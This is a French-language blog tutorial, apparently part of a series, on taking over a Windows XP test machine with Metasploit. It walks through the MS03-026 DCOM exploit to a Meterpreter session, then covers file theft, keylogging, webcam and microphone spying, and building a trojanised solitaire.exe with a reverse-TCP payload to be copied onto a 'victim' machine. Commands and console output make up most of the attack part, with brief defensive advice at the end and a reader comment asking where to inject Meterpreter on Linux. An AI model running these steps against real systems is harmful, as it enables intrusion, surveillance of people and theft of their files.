Dans l’article précédent nous avons vu comment réaliser un Pentest sur un système Linux.
Voyons à présent comment s’introduire dans un système Windows.
Nous ne reviendrons pas sur tous les détails, aussi je vous conseille d’avoir lu l’article précédent.
Pour mettre en pratique les notions il vous faut donc Metasploit, mais surtout une machine Windows de test.
Pour cela, un Windows XP fraichement installé, sans mises à jour fera amplement l’affaire.
1) Exploiter une vulnérabilité
Commençons donc par exploiter une vulnérabilité.
Pour cela, il nous faut réaliser un scan de vulnérabilités, de manière à identifier les failles.
Une fois le scan effectué, il faut identifier une faille à utiliser.
Voici un extrait d’un scan réalisé avec Nessus :
Dans la console Msf, recherchons un exploit correspondant à cette faille, à l’aide de son identifiant CVE.
msf > search cve:2003-0352
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/dcerpc/ms03_026_dcom 2003-07-16 00:00:00 UTC great Microsoft RPC DCOM Interface Overflow
Cet exploit fera l’affaire.
msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) >
Spécifions l’IP de la cible :
msf exploit(ms03_026_dcom) > set RHOST 192.168.1.165
RHOST => 192.168.1.165
Vous pouvez afficher la liste des payloads comme ceci :
msf exploit(ms03_026_dcom) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- ----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
…
windows/meterpreter/bind_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager
Nous allons utiliser la payload windows/meterpreter/bind_tcp, de manière à obtenir une session Meterpreter.
msf exploit(ms03_026_dcom) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
Il ne nous reste plus qu’à lancer l’exploit.
msf exploit(ms03_026_dcom) > exploit [*] Started bind handler [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal... [*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.165[135] ... [*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.165[135] ... [*] Sending exploit ... [*] Sending stage (769024 bytes) to 192.168.1.165 [*] Meterpreter session 1 opened (192.168.1.210:59063 -> 192.168.1.165:4444) at 2014-04-04 16:15:58 +0200 meterpreter >
Meterpreter est un outil qui permet de réaliser toutes sortes d’actions sur la machine cible.
Par exemple, nous pouvons télécharger des fichiers, lancer un Keylogger, prendre une capture d’écran, etc…
Meterpreter est en principalement disponible pour les cibles Windows.
Néanmoins, il existe aussi des payloads permettant d’obtenir une session Meterpreter sous Linux.
Voyons ensemble quelques commandes.
Premièrement, il peut être judicieux de changer de processus.
De cet manière, si le processus que nous utilisons actuellement pour la connexion venait à être fermé, nous ne perdrions pas l’accès.
Commençons par afficher la liste des processus.
meterpreter > ps
Process List
============
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
0 0 [System Process] 4294967295
4 0 System x86 0 NT AUTHORITY\SYSTEM
316 4 smss.exe x86 0 NT AUTHORITY\SYSTEM
…
456 400 lsass.exe x86 0 NT AUTHORITY\SYSTEM
…
628 444 svchost.exe x86 0 NT AUTHORITY\SYSTEM
…
1120 1080 explorer.exe x86 0 XP\admin
Ensuite, nous pouvons migrer dans l’un des processus.
meterpreter > migrate 1120
[*] Migrating from 628 to 1120...
[*] Migration completed successfully.
Un point d’interrogation permet d’obtenir la liste des commandes disponibles.
meterpreter > ?
Voyons à présent comment télécharger un fichier.
Pour cela, rendons nous sur le bureau.
meterpreter > getwd
C:\Documents and Settings\admin
Nous sommes actuellement dans le dossier indiqué.
meterpreter > ls Listing: C:\Documents and Settings\admin ======================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- … 40777/rwxrwxrwx 0 dir 2014-03-26 23:24:48 +0100 Desktop … meterpreter > cd Desktop meterpreter > ls Listing: C:\Documents and Settings\admin\Desktop ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- … 100666/rw-rw-rw- 16 fil 2014-03-26 22:44:09 +0100 TOP_SECRET.txt …
Nous pouvons voir un document texte nommé TOP_SECRET.txt
Une simple commande permet de le télécharger.
meterpreter > download TOP_SECRET.txt
[*] downloading: TOP_SECRET.txt -> TOP_SECRET.txt
[*] downloaded : TOP_SECRET.txt -> TOP_SECRET.txt
Le fichier est alors téléchargé dans /root/
root@kali:~# ls
TOP_SECRET.txt
Voyons à présent comment mettre en place un Keylogger.
Un Keylogger permet de lire les entrées clavier de la machine distante.
meterpreter > keyscan_start
Starting the keystroke sniffer...
De retour sur la machine cible, entrer un message au clavier.
Pour récupérer les entrées clavier, entrer la commande suivante :
meterpreter > keyscan_dump
Dumping captured keystrokes...
cci est un message top secret
N’oubliez pas de stopper le Keylogger.
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
Vous pouvez aussi afficher la configuration réseau.
meterpreter > ifconfig
Interface
============
Name : XXX
Hardware MAC : XX:XX:XX:XX:X0:36
MTU : 1500
IPv4 Address : 192.168.1.165
IPv4 Netmask : 255.255.255.0
Il est aussi possible de redémarrer ou éteindre la machine cible.
meterpreter > reboot meterpreter > shutdown
Vous pouvez aussi récupérer des informations sur le système cible.
meterpreter > sysinfo
Computer : XP
OS : Windows XP (Build 2600).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
Pire encore, si l’ordinateur dispose d’une Webcam et d’un micro, vous pouvez espionner la victime.
Voici les commandes pour le faire.
Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_list List webcams webcam_snap Take a snapshot from the specified webcam
Libre à vous d’explorer les possibilités de Meterpreter.
2) Exploit Asynchrone
Comme pour l’article précédent, voyons comment réaliser un exploit asynchrone.
A nouveau, nous allons compromettre un jeu de solitaire.
Si vous utilisez Windows XP, le jeu peut être trouvé dans C:\WINDOWS\system32\
Le fichier s’appelle sol.exe
Le sujet ayant déjà été traité dans l’article précédent, je vais être bref.
Tout d’abord, copier le fichier .exe à corrompre dans le répertoire /usr/share/metasploit-framework/data/templates/
root@kali:~# cp sol.exe /usr/share/metasploit-framework/data/templates/
Nous pouvons à présent ajouter la payload dans le fichier exécutable.
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.210 LPORT=666 R | msfencode -t exe -x sol.exe -o solitaire.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
Le fichier malicieux a été créé.
root@kali:~# ls
solitaire.exe
Prenez ce fichier, et copiez-le sur la machine de la victime.
Avant d’exécuter le fichier, créons de Handler pour capter l’appel.
msf> use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf exploit(handler) > set LPORT 666 LPORT => 666 msf exploit(handler) > exploit [*] Started reverse handler on 0.0.0.0:666 [*] Starting the payload handler...
Une fois le .exe lancé, vous verrez l’appel arriver, et la session Meterpreter s’ouvrir.
[*] Sending stage (769024 bytes) to 192.168.1.165
[*] Meterpreter session 3 opened (192.168.1.210:666 -> 192.168.1.165:1087) at 2014-04-04 19:05:52 +0200
meterpreter >
3) Conclusion
Au travers de ces deux derniers articles, nous avons vu divers moyen de prendre la main à distance sur une machine.
La question qui se pose est commet se protéger de ces menaces ?
Il y a principalement 3 règles à respecter :
- Garder un système à jour
- Être vigilant sur les fichiers que l’on exécute et récupère
- Utiliser un antivirus
Garder un système à jour sera principalement le rôle de l’administrateur du système informatique.
Les mises à jour permettent de corriger les failles qui ont été découvertes.
Quant aux systèmes qui ne sont plus mis à jour, ils représentent un danger considérable.
L’un des meilleurs exemples est Windows XP.
Beaucoup de PC sont encore sous Windows XP, alors que le support est arrêté par Microsoft.
Cela signifie que les failles découvertes ne seront jamais corrigées par des mises à jour.
Notons qu’après l’arrêt du support public de Windows XP, il y a toujours un support payant, pour les systèmes critiques.
Être vigilant quant aux fichiers que l’on ouvre est la deuxième règle à respecter.
Ce sera à chaque utilisateur d’être vigilant.
Le problème est que la plupart des utilisateurs n’ont pas de grandes connaissances en informatique.
Il leur est donc difficile d’éviter les comportements dangereux.
C’est pourquoi il est important de former les utilisateurs, afin de leur apprendre les bonnes pratiques.
Enfin, utiliser un antivirus est indispensable dans une entreprise.
Un antivirus n’est pas infaillible, mais tout de même très efficace.
Cela plus une formation des utilisateurs devrait permettre d’éviter bien des problèmes.
salut,merci bien pour votre tuto ,j’ai une question svp quel sont les fichiers système linux dont on peut injecter meterpreter par exemple dans windows on trouve notepad mais linux je ne sais pas aidez moi svp .